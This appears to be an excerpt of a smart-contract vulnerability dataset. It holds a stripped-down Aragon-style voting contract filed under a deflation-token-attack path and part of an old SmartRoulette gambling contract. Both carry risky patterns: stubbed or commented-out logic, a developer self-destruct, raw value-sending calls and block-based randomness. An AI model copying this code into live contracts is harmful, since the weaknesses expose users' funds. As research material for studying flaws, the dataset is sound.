Aggregator/Deflation Token Attack/powerpool/AragonVoting.sol
| 6,355 | 20,340 |
// File: @aragon/os/contracts/common/UnstructuredStorage.sol
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
pragma solidity 0.6.12;
library Uint256Helpers {
uint256 private constant MAX_UINT64 = uint64(-1);
string private constant ERROR_NUMBER_TOO_BIG = "UINT64_NUMBER_TOO_BIG";
function toUint64(uint256 a) internal pure returns (uint64) {
require(a <= MAX_UINT64, ERROR_NUMBER_TOO_BIG);
return uint64(a);
}
}
library UnstructuredStorage {
function getStorageBool(bytes32 position) internal view returns (bool data) {
assembly { data := sload(position) }
}
function getStorageAddress(bytes32 position) internal view returns (address data) {
assembly { data := sload(position) }
}
function getStorageBytes32(bytes32 position) internal view returns (bytes32 data) {
assembly { data := sload(position) }
}
function getStorageUint256(bytes32 position) internal view returns (uint256 data) {
assembly { data := sload(position) }
}
function setStorageBool(bytes32 position, bool data) internal {
assembly { sstore(position, data) }
}
function setStorageAddress(bytes32 position, address data) internal {
assembly { sstore(position, data) }
}
function setStorageBytes32(bytes32 position, bytes32 data) internal {
assembly { sstore(position, data) }
}
function setStorageUint256(bytes32 position, uint256 data) internal {
assembly { sstore(position, data) }
}
}
contract TimeHelpers {
using Uint256Helpers for uint256;
function getBlockNumber() internal view returns (uint256) {
return block.number;
}
function getBlockNumber64() internal view returns (uint64) {
return getBlockNumber().toUint64();
}
function getTimestamp() internal view returns (uint256) {
return block.timestamp; // solium-disable-line security/no-block-members
}
function getTimestamp64() internal view returns (uint64) {
return getTimestamp().toUint64();
}
}
contract Initializable is TimeHelpers {
using UnstructuredStorage for bytes32;
// keccak256("aragonOS.initializable.initializationBlock")
bytes32 internal constant INITIALIZATION_BLOCK_POSITION = 0xebb05b386a8d34882b8711d156f463690983dc47815980fb82aeeff1aa43579e;
string private constant ERROR_ALREADY_INITIALIZED = "INIT_ALREADY_INITIALIZED";
string private constant ERROR_NOT_INITIALIZED = "INIT_NOT_INITIALIZED";
modifier onlyInit {
require(getInitializationBlock() == 0, ERROR_ALREADY_INITIALIZED);
_;
}
modifier isInitialized {
require(hasInitialized(), ERROR_NOT_INITIALIZED);
_;
}
function getInitializationBlock() public view returns (uint256) {
return INITIALIZATION_BLOCK_POSITION.getStorageUint256();
}
function hasInitialized() public view returns (bool) {
uint256 initializationBlock = getInitializationBlock();
return initializationBlock != 0 && getBlockNumber() >= initializationBlock;
}
function initialized() internal onlyInit {
INITIALIZATION_BLOCK_POSITION.setStorageUint256(getBlockNumber());
}
function initializedAt(uint256 _blockNumber) internal onlyInit {
INITIALIZATION_BLOCK_POSITION.setStorageUint256(_blockNumber);
}
}
library SafeMath64 {
string private constant ERROR_ADD_OVERFLOW = "MATH64_ADD_OVERFLOW";
string private constant ERROR_SUB_UNDERFLOW = "MATH64_SUB_UNDERFLOW";
string private constant ERROR_MUL_OVERFLOW = "MATH64_MUL_OVERFLOW";
string private constant ERROR_DIV_ZERO = "MATH64_DIV_ZERO";
function mul(uint64 _a, uint64 _b) internal pure returns (uint64) {
uint256 c = uint256(_a) * uint256(_b);
require(c < 0x010000000000000000, ERROR_MUL_OVERFLOW); // 2**64 (less gas this way)
return uint64(c);
}
function div(uint64 _a, uint64 _b) internal pure returns (uint64) {
require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0
uint64 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
function sub(uint64 _a, uint64 _b) internal pure returns (uint64) {
require(_b <= _a, ERROR_SUB_UNDERFLOW);
uint64 c = _a - _b;
return c;
}
function add(uint64 _a, uint64 _b) internal pure returns (uint64) {
uint64 c = _a + _b;
require(c >= _a, ERROR_ADD_OVERFLOW);
return c;
}
function mod(uint64 a, uint64 b) internal pure returns (uint64) {
require(b != 0, ERROR_DIV_ZERO);
return a % b;
}
}
interface ITokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner) external payable returns(bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) external returns(bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount) external returns(bool);
}
interface IMiniMeToken {
function transfer(address _to, uint256 _amount) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _amount) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
function approve(address _spender, uint256 _amount) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function totalSupply() external view returns (uint);
function balanceOfAt(address _owner, uint _blockNumber) external view returns (uint);
function totalSupplyAt(uint _blockNumber) external view returns(uint);
function decimals() external view returns(uint);
}
contract AragonVoting is Initializable, Ownable {
using SafeMath for uint256;
using SafeMath64 for uint64;
bytes32 public constant CREATE_VOTES_ROLE = 0xe7dcd7275292e064d090fbc5f3bd7995be23b502c1fed5cd94cfddbbdcd32bbc; //keccak256("CREATE_VOTES_ROLE");
bytes32 public constant MODIFY_SUPPORT_ROLE = 0xda3972983e62bdf826c4b807c4c9c2b8a941e1f83dfa76d53d6aeac11e1be650; //keccak256("MODIFY_SUPPORT_ROLE");
bytes32 public constant MODIFY_QUORUM_ROLE = 0xad15e7261800b4bb73f1b69d3864565ffb1fd00cb93cf14fe48da8f1f2149f39; //keccak256("MODIFY_QUORUM_ROLE");
bytes32 public constant SET_MIN_BALANCE_ROLE = 0xb1f3f26f63ad27cd630737a426f990492f5c674208299d6fb23bb2b0733d3d66; //keccak256("SET_MIN_BALANCE_ROLE")
bytes32 public constant SET_MIN_TIME_ROLE = 0xe7ab0252519cd959720b328191bed7fe61b8e25f77613877be7070646d12daf0; //keccak256("SET_MIN_TIME_ROLE")
bytes32 public constant ENABLE_VOTE_CREATION = 0xecb50dc3e77ba8a59697a3cc090a29b4cbd3c1f2b6b3aea524e0d166969592b9; //keccak256("ENABLE_VOTE_CREATION")
bytes32 public constant DISABLE_VOTE_CREATION = 0x40b01f8b31b51596de2eeab8c325ff77cc3695c1c1875d66ff31176e7148d2a1; //keccack256("DISABLE_VOTE_CREATION")
uint64 public constant PCT_BASE = 10 ** 18; // 0% = 0; 1% = 10^16; 100% = 10^18
string private constant ERROR_NO_VOTE = "VOTING_NO_VOTE";
string private constant ERROR_INIT_PCTS = "VOTING_INIT_PCTS";
string private constant ERROR_CHANGE_SUPPORT_PCTS = "VOTING_CHANGE_SUPPORT_PCTS";
string private constant ERROR_CHANGE_QUORUM_PCTS = "VOTING_CHANGE_QUORUM_PCTS";
string private constant ERROR_INIT_SUPPORT_TOO_BIG = "VOTING_INIT_SUPPORT_TOO_BIG";
string private constant ERROR_CHANGE_SUPPORT_TOO_BIG = "VOTING_CHANGE_SUPP_TOO_BIG";
string private constant ERROR_CAN_NOT_VOTE = "VOTING_CAN_NOT_VOTE";
string private constant ERROR_CAN_NOT_EXECUTE = "VOTING_CAN_NOT_EXECUTE";
string private constant ERROR_CAN_NOT_FORWARD = "VOTING_CAN_NOT_FORWARD";
string private constant ERROR_NO_VOTING_POWER = "VOTING_NO_VOTING_POWER";
enum VoterState { Absent, Yea, Nay }
struct Vote {
bool executed;
uint64 startDate;
uint64 snapshotBlock;
uint64 supportRequiredPct;
uint64 minAcceptQuorumPct;
uint256 yea;
uint256 nay;
uint256 votingPower;
bytes executionScript;
mapping (address => VoterState) voters;
}
IMiniMeToken public token;
uint64 public supportRequiredPct;
uint64 public minAcceptQuorumPct;
uint64 public voteTime;
//2500000000000000000000
uint256 public minBalanceLowerLimit;
uint256 public minBalanceUpperLimit;
//43200
uint256 public minTimeLowerLimit;
//1209600
uint256 public minTimeUpperLimit;
uint256 public minBalance;
uint256 public minTime;
bool public enableVoteCreation;
// We are mimicing an array, we use a mapping instead to make app upgrade more graceful
mapping (uint256 => Vote) internal votes;
uint256 public votesLength;
mapping(address => uint256) public lastCreateVoteTimes;
event StartVote(uint256 indexed voteId, address indexed creator, string metadata, uint256 minBalance, uint256 minTime, uint256 totalSupply, uint256 creatorVotingPower);
event CastVote(uint256 indexed voteId, address indexed voter, bool support, uint256 stake);
event ExecuteVote(uint256 indexed voteId);
event ChangeSupportRequired(uint64 supportRequiredPct);
event ChangeMinQuorum(uint64 minAcceptQuorumPct);
event MinimumBalanceSet(uint256 minBalance);
event MinimumTimeSet(uint256 minTime);
modifier voteExists(uint256 _voteId) {
require(_voteId < votesLength, ERROR_NO_VOTE);
_;
}
modifier minBalanceCheck(uint256 _minBalance) {
//_minBalance to be at least the equivalent of 10k locked for a year (1e18 precision)
require(_minBalance >= minBalanceLowerLimit && _minBalance <= minBalanceUpperLimit, "Min balance should be within initialization hardcoded limits");
_;
}
modifier minTimeCheck(uint256 _minTime) {
require(_minTime >= minTimeLowerLimit && _minTime <= minTimeUpperLimit, "Min time should be within initialization hardcoded limits");
_;
}
function initialize(IMiniMeToken _token,
uint64 _supportRequiredPct,
uint64 _minAcceptQuorumPct,
uint64 _voteTime,
uint256 _minBalance,
uint256 _minTime,
uint256 _minBalanceLowerLimit,
uint256 _minBalanceUpperLimit,
uint256 _minTimeLowerLimit,
uint256 _minTimeUpperLimit) external onlyInit {
assert(CREATE_VOTES_ROLE == keccak256("CREATE_VOTES_ROLE"));
assert(MODIFY_SUPPORT_ROLE == keccak256("MODIFY_SUPPORT_ROLE"));
assert(MODIFY_QUORUM_ROLE == keccak256("MODIFY_QUORUM_ROLE"));
assert(SET_MIN_BALANCE_ROLE == keccak256("SET_MIN_BALANCE_ROLE"));
assert(SET_MIN_TIME_ROLE == keccak256("SET_MIN_TIME_ROLE"));
assert(DISABLE_VOTE_CREATION == keccak256("DISABLE_VOTE_CREATION"));
assert(ENABLE_VOTE_CREATION == keccak256("ENABLE_VOTE_CREATION"));
initialized();
require(_minAcceptQuorumPct <= _supportRequiredPct, ERROR_INIT_PCTS);
require(_supportRequiredPct < PCT_BASE, ERROR_INIT_SUPPORT_TOO_BIG);
require(_minBalance >= _minBalanceLowerLimit && _minBalance <= _minBalanceUpperLimit);
require(_minTime >= _minTimeLowerLimit && _minTime <= _minTimeUpperLimit);
token = _token;
supportRequiredPct = _supportRequiredPct;
minAcceptQuorumPct = _minAcceptQuorumPct;
voteTime = _voteTime;
uint256 decimalsMul = uint256(10) ** token.decimals();
minBalance = _minBalance.mul(decimalsMul);
minTime = _minTime;
minBalanceLowerLimit = _minBalanceLowerLimit.mul(decimalsMul);
minBalanceUpperLimit = _minBalanceUpperLimit.mul(decimalsMul);
minTimeLowerLimit = _minTimeLowerLimit;
minTimeUpperLimit = _minTimeUpperLimit;
emit MinimumBalanceSet(minBalance);
emit MinimumTimeSet(minTime);
enableVoteCreation = true;
}
// function changeSupportRequiredPct(uint64 _supportRequiredPct)
// external
// authP(MODIFY_SUPPORT_ROLE, arr(uint256(_supportRequiredPct), uint256(supportRequiredPct)))
// {
// require(minAcceptQuorumPct <= _supportRequiredPct, ERROR_CHANGE_SUPPORT_PCTS);
// require(_supportRequiredPct < PCT_BASE, ERROR_CHANGE_SUPPORT_TOO_BIG);
// supportRequiredPct = _supportRequiredPct;
//
// emit ChangeSupportRequired(_supportRequiredPct);
// }
// function changeMinAcceptQuorumPct(uint64 _minAcceptQuorumPct)
// external
// authP(MODIFY_QUORUM_ROLE, arr(uint256(_minAcceptQuorumPct), uint256(minAcceptQuorumPct)))
// {
// require(_minAcceptQuorumPct <= supportRequiredPct, ERROR_CHANGE_QUORUM_PCTS);
// minAcceptQuorumPct = _minAcceptQuorumPct;
//
// emit ChangeMinQuorum(_minAcceptQuorumPct);
// }
// //min balance can't be set to lower than 10k * 1 year
// minBalance = _minBalance;
//
// emit MinimumBalanceSet(_minBalance);
// }
// function setMinTime(uint256 _minTime) external auth(SET_MIN_TIME_ROLE) minTimeCheck(_minTime) {
// //min time should be within initialized hardcoded limits
// minTime = _minTime;
//
// emit MinimumTimeSet(_minTime);
// }
//later role will be set to 0x0 - noone
// function disableVoteCreationOnce() external auth(DISABLE_VOTE_CREATION) {
// enableVoteCreation = false;
// }
//
// function enableVoteCreationOnce() external auth(ENABLE_VOTE_CREATION) {
// enableVoteCreation = true;
// }
function newVote(bytes calldata _executionScript, string calldata _metadata) external returns (uint256 voteId) {
return _newVote(_executionScript, _metadata, true, true);
}
function newVote(bytes calldata _executionScript, string calldata _metadata, bool _castVote, bool _executesIfDecided)
external
returns (uint256 voteId)
{
return _newVote(_executionScript, _metadata, _castVote, _executesIfDecided);
}
function vote(uint256 _voteId, bool _supports, bool _executesIfDecided) external voteExists(_voteId) {
require(_canVote(_voteId, msg.sender), ERROR_CAN_NOT_VOTE);
_vote(_voteId, _supports, msg.sender, _executesIfDecided);
}
function executeVote(uint256 _voteId) external voteExists(_voteId) {
_executeVote(_voteId);
}
// Forwarding fns
// function isForwarder() external pure override returns (bool) {
// return true;
// }
// function forward(bytes memory _evmScript) public override {
// require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD);
// _newVote(_evmScript, "", true, true);
// }
// function canForward(address _sender, bytes memory) public view override returns (bool) {
// // Note that `canPerform()` implicitly does an initialization check itself
// return canPerform(_sender, CREATE_VOTES_ROLE, arr()) && canCreateNewVote(_sender);
// }
// Getter fns
function canExecute(uint256 _voteId) public view voteExists(_voteId) returns (bool) {
return _canExecute(_voteId);
}
function canVote(uint256 _voteId, address _voter) public view voteExists(_voteId) returns (bool) {
return _canVote(_voteId, _voter);
}
function canCreateNewVote(address _sender) public view returns(bool) {
return enableVoteCreation && token.balanceOf(_sender) >= minBalance && block.timestamp.sub(minTime) >= lastCreateVoteTimes[_sender];
}
function getVote(uint256 _voteId)
public
view
voteExists(_voteId)
returns (bool open,
bool executed,
uint64 startDate,
uint64 snapshotBlock,
uint64 supportRequired,
uint64 minAcceptQuorum,
uint256 yea,
uint256 nay,
uint256 votingPower,
bytes memory script)
{
Vote storage vote_ = votes[_voteId];
open = _isVoteOpen(vote_);
executed = vote_.executed;
startDate = vote_.startDate;
snapshotBlock = vote_.snapshotBlock;
supportRequired = vote_.supportRequiredPct;
minAcceptQuorum = vote_.minAcceptQuorumPct;
yea = vote_.yea;
nay = vote_.nay;
votingPower = vote_.votingPower;
script = vote_.executionScript;
}
function getVoterState(uint256 _voteId, address _voter) public view voteExists(_voteId) returns (VoterState) {
return votes[_voteId].voters[_voter];
}
// Internal fns
function _newVote(bytes memory _executionScript, string calldata _metadata, bool _castVote, bool _executesIfDecided) internal returns (uint256 voteId) {
require(canCreateNewVote(msg.sender));
uint64 snapshotBlock = getBlockNumber64() - 1; // avoid double voting in this very block
uint256 votingPower = token.totalSupplyAt(snapshotBlock);
require(votingPower > 0, ERROR_NO_VOTING_POWER);
voteId = votesLength++;
Vote storage vote_ = votes[voteId];
vote_.startDate = getTimestamp64();
vote_.snapshotBlock = snapshotBlock;
vote_.supportRequiredPct = supportRequiredPct;
vote_.minAcceptQuorumPct = minAcceptQuorumPct;
vote_.votingPower = votingPower;
vote_.executionScript = _executionScript;
emit StartVote(voteId, msg.sender, _metadata, minBalance, minTime, token.totalSupply(), token.balanceOfAt(msg.sender, snapshotBlock));
lastCreateVoteTimes[msg.sender] = getTimestamp64();
if (_castVote && _canVote(voteId, msg.sender)) {
_vote(voteId, true, msg.sender, _executesIfDecided);
}
}
function _vote(uint256 _voteId, bool _supports, address _voter, bool _executesIfDecided) internal {
Vote storage vote_ = votes[_voteId];
VoterState state = vote_.voters[_voter];
require(state == VoterState.Absent, "Can't change votes");
// This could re-enter, though we can assume the governance token is not malicious
uint256 balance = token.balanceOfAt(_voter, vote_.snapshotBlock);
uint256 voterStake = uint256(2).mul(balance).mul(vote_.startDate.add(voteTime).sub(getTimestamp64())).div(voteTime);
if(voterStake > balance) {
voterStake = balance;
}
if (_supports) {
vote_.yea = vote_.yea.add(voterStake);
} else {
vote_.nay = vote_.nay.add(voterStake);
}
vote_.voters[_voter] = _supports ? VoterState.Yea : VoterState.Nay;
emit CastVote(_voteId, _voter, _supports, voterStake);
if (_executesIfDecided && _canExecute(_voteId)) {
// We've already checked if the vote can be executed with `_canExecute()`
_unsafeExecuteVote(_voteId);
}
}
function _executeVote(uint256 _voteId) internal {
require(_canExecute(_voteId), ERROR_CAN_NOT_EXECUTE);
_unsafeExecuteVote(_voteId);
}
function _unsafeExecuteVote(uint256 _voteId) internal {
Vote storage vote_ = votes[_voteId];
vote_.executed = true;
bytes memory input = new bytes(0); // TODO: Consider input for voting scripts
// runScript(vote_.executionScript, input, new address[](0));
emit ExecuteVote(_voteId);
}
function _canExecute(uint256 _voteId) internal view returns (bool) {
Vote storage vote_ = votes[_voteId];
require(!_isVoteOpen(vote_), "Voting should be finished in order to execute the vote");
if (vote_.executed) {
return false;
}
// Voting is already decided
if (_isValuePct(vote_.yea, vote_.votingPower, vote_.supportRequiredPct)) {
return true;
}
// Vote ended?
if (_isVoteOpen(vote_)) {
return false;
}
// Has enough support?
uint256 totalVotes = vote_.yea.add(vote_.nay);
if (!_isValuePct(vote_.yea, totalVotes, vote_.supportRequiredPct)) {
return false;
}
// Has min quorum?
if (!_isValuePct(vote_.yea, vote_.votingPower, vote_.minAcceptQuorumPct)) {
return false;
}
return true;
}
function _canVote(uint256 _voteId, address _voter) internal view returns (bool) {
Vote storage vote_ = votes[_voteId];
return _isVoteOpen(vote_) && token.balanceOfAt(_voter, vote_.snapshotBlock) > 0;
}
function _isVoteOpen(Vote storage vote_) internal view returns (bool) {
return getTimestamp64() < vote_.startDate.add(voteTime) && !vote_.executed;
}
function _isValuePct(uint256 _value, uint256 _total, uint256 _pct) internal pure returns (bool) {
if (_total == 0) {
return false;
}
uint256 computedPct = _value.mul(PCT_BASE) / _total;
return computedPct > _pct;
}
}
| 69,236 | 543 |
72ff56adf4782cc9aa9e4dd1b7bc233eac90f72bef3f813c3d7394b28946104b
| 20,183 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x1a70fe4c8a7ba52fd4b14a207928df42cf9d7daa.sol
| 6,263 | 19,715 |
pragma solidity ^0.4.8;
contract WinMatrix
{
function getCoeff(uint16 n) external returns (uint256);
function getBetsProcessed() external constant returns (uint16);
}
contract SmartRouletteToken
{
function emission(address player, address partner, uint256 value_bet, uint16 coef_player, uint16 coef_partner) external returns(uint256);
}
contract SmartAffiliate
{
function register(address player, address affiliate) external;
function getAffiliateInfo(address player) external constant returns(address affiliate, uint16 coef_affiliate);
}
contract SmartRoulette
{
address developer;
address operator;
// Wait BlockDelay blocks before spin the wheel
uint8 BlockDelay;
// Maximum bet value for game
uint256 currentMaxBet;
// maximum games count per block
uint64 maxGamblesPerBlock;
// Enable\disable to place new bets
bool ContractState;
// table with winner coefficients
WinMatrix winMatrix;
SmartRouletteToken smartToken;
address profitDistributionContract;
SmartAffiliate smartAffiliateContract;
uint16 constant maxTypeBets = 157;
// last game index for player (used for fast access)
//mapping (address => uint64) private gambleIndex;
uint16 coef_player;
//
uint8 defaultMinCreditsOnBet;
//
mapping (uint8 => uint8) private minCreditsOnBet;
struct GameInfo
{
address player;
uint256 blockNumber;
uint8 wheelResult;
uint256 bets;
bytes32 values;
bytes32 values2;
}
GameInfo[] private gambles;
enum GameStatus {Success, Skipped, Stop}
enum BetTypes{number0, number1,number2,number3,number4,number5,number6,number7,number8,number9,
number10,number11,number12,number13,number14,number15,number16,number17,number18,number19,number20,number21,
number22,number23,number24,number25,number26,number27,number28,number29,number30,number31,number32,number33,
number34,number35,number36, red, black, odd, even, dozen1,dozen2,dozen3, column1,column2,column3, low,high,
pair_01, pair_02, pair_03, pair_12, pair_23, pair_36, pair_25, pair_14, pair_45, pair_56, pair_69, pair_58, pair_47,
pair_78, pair_89, pair_912, pair_811, pair_710, pair_1011, pair_1112, pair_1215, pair_1518, pair_1617, pair_1718, pair_1720,
pair_1619, pair_1922, pair_2023, pair_2124, pair_2223, pair_2324, pair_2528, pair_2629, pair_2730, pair_2829, pair_2930, pair_1114,
pair_1013, pair_1314, pair_1415, pair_1316, pair_1417, pair_1821, pair_1920, pair_2021, pair_2225, pair_2326, pair_2427, pair_2526,
pair_2627, pair_2831, pair_2932, pair_3033, pair_3132, pair_3233, pair_3134, pair_3235, pair_3336, pair_3435, pair_3536, corner_0_1_2_3,
corner_1_2_5_4, corner_2_3_6_5, corner_4_5_8_7, corner_5_6_9_8, corner_7_8_11_10, corner_8_9_12_11, corner_10_11_14_13, corner_11_12_15_14,
corner_13_14_17_16, corner_14_15_18_17, corner_16_17_20_19, corner_17_18_21_20, corner_19_20_23_22, corner_20_21_24_23, corner_22_23_26_25,
corner_23_24_27_26, corner_25_26_29_28, corner_26_27_30_29, corner_28_29_32_31, corner_29_30_33_32, corner_31_32_35_34, corner_32_33_36_35,
three_0_2_3, three_0_1_2, three_1_2_3, three_4_5_6, three_7_8_9, three_10_11_12, three_13_14_15, three_16_17_18, three_19_20_21, three_22_23_24,
three_25_26_27, three_28_29_30, three_31_32_33, three_34_35_36, six_1_2_3_4_5_6, six_4_5_6_7_8_9, six_7_8_9_10_11_12, six_10_11_12_13_14_15,
six_13_14_15_16_17_18, six_16_17_18_19_20_21, six_19_20_21_22_23_24, six_22_23_24_25_26_27, six_25_26_27_28_29_30, six_28_29_30_31_32_33,
six_31_32_33_34_35_36}
function SmartRoulette() internal
{
developer = msg.sender;
operator = msg.sender;
winMatrix = WinMatrix(0x073D6621E9150bFf9d1D450caAd3c790b6F071F2);
if (winMatrix.getBetsProcessed() != maxTypeBets) throw;
smartToken = SmartRouletteToken(0x7dD8D4c556d2005c5bafc3d5449A99Fb46279E6b);
currentMaxBet = 2560 finney; // 2.56 ether
BlockDelay = 1;
maxGamblesPerBlock = 5;
defaultMinCreditsOnBet = 1;
ContractState = true;
bankrolLimit = 277 ether;
profitLimit = 50 ether;
coef_player = 300;
}
function changeMaxBet(uint256 newMaxBet) public onlyDeveloper
{
// rounds to 2 digts
newMaxBet = newMaxBet / 2560000000000000000 * 2560000000000000000;
if (newMaxBet != currentMaxBet)
{
currentMaxBet = newMaxBet;
SettingsChanged(currentMaxBet, currentMaxBet / 256, defaultMinCreditsOnBet, minCreditsOnBet[uint8(BetTypes.low)], minCreditsOnBet[uint8(BetTypes.dozen1)], BlockDelay, ContractState);
}
}
uint256 bankrolLimit;
uint256 profitLimit;
uint256 lastDistributedProfit;
uint256 lastDateDistributedProfit;
function getDistributeProfitsInfo() public constant returns (uint256 lastProfit, uint256 lastDate)
{
lastProfit = lastDistributedProfit;
lastDate = lastDateDistributedProfit;
}
function setProfitDistributionContract(address contractAddress) onlyDeveloper
{
if (profitDistributionContract > 0) throw;
profitDistributionContract = contractAddress;
}
function setSmartAffiliateContract(address contractAddress) onlyDeveloper
{
if (address(smartAffiliateContract) > 0) throw;
smartAffiliateContract = SmartAffiliate(contractAddress);
}
function distributeProfits(uint256 gasValue) onlyDeveloperOrOperator
{
if (profitDistributionContract > 0 && this.balance >= (bankrolLimit+profitLimit))
{
uint256 diff = this.balance - bankrolLimit;
if (address(profitDistributionContract).call.gas(gasValue).value(diff)() == false) throw;
lastDistributedProfit = diff;
lastDateDistributedProfit = block.timestamp;
}
}
function getTokenSettings() public constant returns(uint16 Coef_player, uint256 BankrolLimit, uint256 ProfitLimit)
{
Coef_player = coef_player;
BankrolLimit = bankrolLimit;
ProfitLimit = profitLimit;
}
function changeTokenSettings(uint16 newCoef_player, uint256 newBankrolLimit, uint256 newProfitLimit) onlyDeveloper
{
coef_player = newCoef_player;
bankrolLimit = newBankrolLimit;
profitLimit = newProfitLimit;
}
function changeSettings(uint64 NewMaxBetsPerBlock, uint8 NewBlockDelay, uint8 MinCreditsOnBet50, uint8 MinCreditsOnBet33, uint8 NewDefaultMinCreditsOnBet) onlyDeveloper
{
BlockDelay = NewBlockDelay;
if (NewMaxBetsPerBlock != 0) maxGamblesPerBlock = NewMaxBetsPerBlock;
if (MinCreditsOnBet50 > 0)
{
minCreditsOnBet[uint8(BetTypes.low)] = MinCreditsOnBet50;
minCreditsOnBet[uint8(BetTypes.high)] = MinCreditsOnBet50;
minCreditsOnBet[uint8(BetTypes.red)] = MinCreditsOnBet50;
minCreditsOnBet[uint8(BetTypes.black)] = MinCreditsOnBet50;
minCreditsOnBet[uint8(BetTypes.odd)] = MinCreditsOnBet50;
minCreditsOnBet[uint8(BetTypes.even)] = MinCreditsOnBet50;
}
if (MinCreditsOnBet33 > 0)
{
minCreditsOnBet[uint8(BetTypes.dozen1)] = MinCreditsOnBet33;
minCreditsOnBet[uint8(BetTypes.dozen2)] = MinCreditsOnBet33;
minCreditsOnBet[uint8(BetTypes.dozen3)] = MinCreditsOnBet33;
minCreditsOnBet[uint8(BetTypes.column1)] = MinCreditsOnBet33;
minCreditsOnBet[uint8(BetTypes.column2)] = MinCreditsOnBet33;
minCreditsOnBet[uint8(BetTypes.column3)] = MinCreditsOnBet33;
}
if (NewDefaultMinCreditsOnBet > 0) defaultMinCreditsOnBet = NewDefaultMinCreditsOnBet;
}
function deleteContract() onlyDeveloper
{
suicide(msg.sender);
}
// bit from 0 to 255
function isBitSet(uint256 data, uint8 bit) private constant returns (bool ret)
{
assembly {
ret := iszero(iszero(and(data, exp(2,bit))))
}
return ret;
}
// unique combination of bet and wheelResult, used for access to WinMatrix
function getIndex(uint16 bet, uint16 wheelResult) private constant returns (uint16)
{
return (bet+1)*256 + (wheelResult+1);
}
// n form 1 <= to <= 32
function getBetValue(bytes32 values, uint8 n) private constant returns (uint256)
{
// bet in credits (1..256)
uint256 bet = uint256(values[32-n])+1;
// check min bet
uint8 minCredits = minCreditsOnBet[n];
if (minCredits == 0) minCredits = defaultMinCreditsOnBet;
if (bet < minCredits) throw;
// bet in wei
bet = currentMaxBet*bet/256;
if (bet > currentMaxBet) throw;
return bet;
}
function getBetValueByGamble(GameInfo memory gamble, uint8 n) private constant returns (uint256)
{
if (n<=32) return getBetValue(gamble.values, n);
if (n<=64) return getBetValue(gamble.values2, n-32);
// there are 64 maximum unique bets (positions) in one game
throw;
}
function totalGames() constant returns (uint256)
{
return gambles.length;
}
function getSettings() constant returns(uint256 maxBet, uint256 oneCredit, uint8 MinBetInCredits, uint8 MinBetInCredits_50,uint8 MinBetInCredits_33, uint8 blockDelayBeforeSpin, bool contractState)
{
maxBet = currentMaxBet;
oneCredit = currentMaxBet / 256;
blockDelayBeforeSpin = BlockDelay;
MinBetInCredits = defaultMinCreditsOnBet;
MinBetInCredits_50 = minCreditsOnBet[uint8(BetTypes.low)];
MinBetInCredits_33 = minCreditsOnBet[uint8(BetTypes.column1)];
contractState = ContractState;
}
modifier onlyDeveloper()
{
if (msg.sender != developer) throw;
_;
}
modifier onlyDeveloperOrOperator()
{
if (msg.sender != developer && msg.sender != operator) throw;
_;
}
function disableBetting_only_Dev()
onlyDeveloperOrOperator
{
ContractState=false;
}
function changeOperator(address newOperator) onlyDeveloper
{
operator = newOperator;
}
function enableBetting_only_Dev()
onlyDeveloperOrOperator
{
ContractState=true;
}
event PlayerBet(uint256 gambleId, uint256 playerTokens);
event EndGame(address player, uint8 result, uint256 gambleId);
event SettingsChanged(uint256 maxBet, uint256 oneCredit, uint8 DefaultMinBetInCredits, uint8 MinBetInCredits50, uint8 MinBetInCredits33, uint8 blockDelayBeforeSpin, bool contractState);
event ErrorLog(address player, string message);
event GasLog(string msg, uint256 level, uint256 gas);
function totalBetValue(GameInfo memory g) private constant returns (uint256)
{
uint256 totalBetsValue = 0;
uint8 nPlayerBetNo = 0;
uint8 betsCount = uint8(bytes32(g.bets)[0]);
for(uint8 i = 0; i < maxTypeBets;i++)
if (isBitSet(g.bets, i))
{
totalBetsValue += getBetValueByGamble(g, nPlayerBetNo+1);
nPlayerBetNo++;
if (betsCount == 1) break;
betsCount--;
}
return totalBetsValue;
}
function totalBetCount(GameInfo memory g) private constant returns (uint256)
{
uint256 totalBets = 0;
for(uint8 i=0; i < maxTypeBets;i++)
if (isBitSet(g.bets, i)) totalBets++;
return totalBets;
}
function placeBet(uint256 bets, bytes32 values1,bytes32 values2) public payable
{
if (ContractState == false)
{
ErrorLog(msg.sender, "ContractDisabled");
if (msg.sender.send(msg.value) == false) throw;
return;
}
var gamblesLength = gambles.length;
if (gamblesLength > 0)
{
uint8 gamblesCountInCurrentBlock = 0;
for(var i = gamblesLength - 1;i > 0; i--)
{
if (gambles[i].blockNumber == block.number)
{
if (gambles[i].player == msg.sender)
{
ErrorLog(msg.sender, "Play twice the same block");
if (msg.sender.send(msg.value) == false) throw;
return;
}
gamblesCountInCurrentBlock++;
if (gamblesCountInCurrentBlock >= maxGamblesPerBlock)
{
ErrorLog(msg.sender, "maxGamblesPerBlock");
if (msg.sender.send(msg.value) == false) throw;
return;
}
}
else
{
break;
}
}
}
var _currentMaxBet = currentMaxBet;
if (msg.value < _currentMaxBet/256 || bets == 0)
{
ErrorLog(msg.sender, "Wrong bet value");
if (msg.sender.send(msg.value) == false) throw;
return;
}
if (msg.value > _currentMaxBet)
{
ErrorLog(msg.sender, "Limit for table");
if (msg.sender.send(msg.value) == false) throw;
return;
}
GameInfo memory g = GameInfo(msg.sender, block.number, 37, bets, values1,values2);
if (totalBetValue(g) != msg.value)
{
ErrorLog(msg.sender, "Wrong bet value");
